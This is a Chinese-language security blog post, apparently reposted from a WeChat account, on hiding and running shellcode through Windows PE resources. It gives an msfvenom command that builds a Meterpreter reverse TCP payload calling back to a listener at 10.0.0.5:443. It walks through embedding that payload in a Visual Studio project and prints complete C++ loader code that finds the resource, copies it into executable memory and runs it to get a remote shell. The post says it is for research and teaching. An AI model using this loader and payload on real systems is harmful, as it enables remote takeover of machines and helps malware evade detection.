从 PE 资源加载和执行 shellcode

admin 2024年7月25日00:44:43评论27 views字数 1248阅读4分9秒阅读模式

前言

本实验展示了一种技术,即如何使用 Visual Studio 的 PE资源从 C 程序中加载和执行非暂存 shellcode。

如果您曾经尝试过从 C/C++ 程序执行未暂存的 shellcode,您就会知道,如果您要定义一个巨大的 char 数组,您将很难做到这一点(只是一个片段):

从 PE 资源加载和执行 shellcode

将 Shellcode 嵌入为资源

让我们先以二进制格式生成一个非暂存的 meterpreter 有效负载。这将是我们想要嵌入到 C++ 程序中的资源:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin

右键单击“解决方案资源管理器”,然后选择Resource FilesAdd > Resource

从 PE 资源加载和执行 shellcode

单击并选择要包含的资源。就我而言 - 它是:Importmeterpreter.bin

从 PE 资源加载和执行 shellcode

给资源一个资源类型名称 - 任何事情都可以,但在调用 API 调用时需要记住它(在代码后面显示):FindResource

从 PE 资源加载和执行 shellcode

此时,您可以在资源浏览器中看到 现在包含在程序的资源中:meterpreter.bin

从 PE 资源加载和执行 shellcode

从 PE 资源加载和执行 shellcode

如果你现在编译你的程序,并使用 resource hacker 检查它,你现在可以看到你刚刚嵌入的 shellcode 作为 PE 资源:

从 PE 资源加载和执行 shellcode

源码

然后,我们可以利用一小组不言自明的 Windows API 来查找嵌入式资源,将其加载到内存中并执行,如下所示:

#include "pch.h"

#include <iostream>

#include <Windows.h>

#include "resource.h"

 

int main()

{

// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode

// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin

HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");

DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, shellcodeResouceData, shellcodeSize);

((void(*)())exec)();

 

return  0;

}

 

编译并运行二进制文件并获取 shell:

从 PE 资源加载和执行 shellcode

 

原文始发于微信公众号(白帽子社区团队):从 PE 资源加载和执行 shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月25日00:44:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 PE 资源加载和执行 shellcodehttps://cn-sec.com/archives/2987520.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息